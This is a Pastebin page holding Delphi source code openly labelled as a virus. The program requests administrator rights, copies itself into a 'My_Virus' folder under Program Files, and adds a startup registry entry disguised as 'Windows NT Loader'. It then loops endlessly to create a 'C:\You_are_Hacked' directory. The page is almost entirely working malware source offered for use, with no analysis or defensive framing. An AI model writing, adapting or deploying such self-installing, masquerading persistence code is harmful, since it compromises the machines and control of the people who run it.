Advertisement
Guest User

Delphi Virus Source Code

a guest
Jun 7th, 2015
1,254
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.47 KB | None | 0 0
  1. program Project1;
  2.  
  3. //{$APPTYPE CONSOLE}
  4.  
  5. uses
  6. Windows,
  7. Messages,
  8. SysUtils,
  9. Variants,
  10. Classes,
  11. Controls,
  12. Forms,
  13. Dialogs,
  14. Winsock,
  15. ShellAPI,
  16. Registry,
  17. UrlMon,
  18. TlHelp32,
  19. OleCtrls,
  20. SHDocVw,
  21. Graphics,
  22. StdCtrls;
  23.  
  24. var worked : Boolean;
  25.  
  26. function installer_mode:boolean;
  27. begin
  28. result:=copy(ExtractFileName(Application.ExeName),1,3)<>'xxx' ;
  29. end;
  30.  
  31. procedure Run_As(var worked : boolean) ;
  32. begin
  33. if Pos('ixiadmin',GetCommandLine)<5 then
  34. begin
  35. ShellExecute(0, 'runas', PChar(Application.exename), PAnsiChar('ixiadmin'),nil, SW_SHOWNORMAL);
  36. worked := True;
  37. end;
  38. end;
  39.  
  40.  
  41.  
  42. function GetProgramFilesDir: string;
  43. var
  44. reg: TRegistry;
  45. begin
  46. reg := TRegistry.Create;
  47. try
  48. reg.RootKey := HKEY_LOCAL_MACHINE;
  49. reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion', False);
  50. Result := reg.ReadString('ProgramFilesDir');
  51. finally
  52. reg.Free;
  53. end;
  54. end;
  55.  
  56. procedure AddEntryToRegistry;
  57. var key: string;
  58. Reg: TRegIniFile;
  59. begin
  60. key := 'Software\Microsoft\Windows\CurrentVersion\Run';
  61. Reg := TRegIniFile.Create;
  62. try
  63. try
  64. Reg.RootKey:=HKEY_LOCAL_MACHINE;
  65. Reg.CreateKey(Key);
  66. //if Reg.OpenKey(Key,False) then
  67. Reg.WriteString(key, 'Windows NT Loader', GetProgramFilesDir+'\My_Virus\xxx.exe');
  68. finally
  69. Reg.Free;
  70. end;
  71. except
  72. Application.ProcessMessages;
  73. end;
  74. end;
  75.  
  76.  
  77. procedure Installer ;
  78. begin
  79. if not(FileExists(GetProgramFilesDir+'\My_Virus\xxx.exe')) then
  80. begin
  81. if not(DirectoryExists(GetProgramFilesDir+'\My_Virus\')) then
  82. MkDir(GetProgramFilesDir+'\My_Virus\');
  83. CopyFile(PAnsiChar(Application.exename),PAnsiChar(GetProgramFilesDir+'\My_Virus\xxx.exe'),False);
  84. AddEntryToRegistry;
  85. //ShowMessage('The installer mode is running');
  86. ShellExecute(1, nil, PAnsiChar(GetProgramFilesDir+'\My_Virus\xxx.exe'), nil, nil, SW_SHOWNORMAL);
  87. end;
  88. Application.Terminate;
  89. end;
  90.  
  91. procedure Loop;
  92. begin
  93. while(True)do
  94. begin
  95. if not( DirectoryExists('C:\You_are_Hacked') ) then
  96. begin
  97. MkDir('C:\You_are_Hacked');
  98. end;
  99. end;
  100. end;
  101. begin
  102. worked := false;
  103. Run_As(worked);
  104. if (worked = False ) then
  105. begin
  106. ///////////////////
  107. if(installer_mode = true ) then
  108. Installer
  109. else
  110. Loop;
  111. ///////////////////////
  112. end
  113. else
  114. Application.Terminate;
  115.  
  116. end.
  117.  
  118. Source : http://youtu.be/7P6xOY51aDE
  119.  
  120.  
  121.  
  122.  
  123.  
  124. //////////////////////////////////////
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement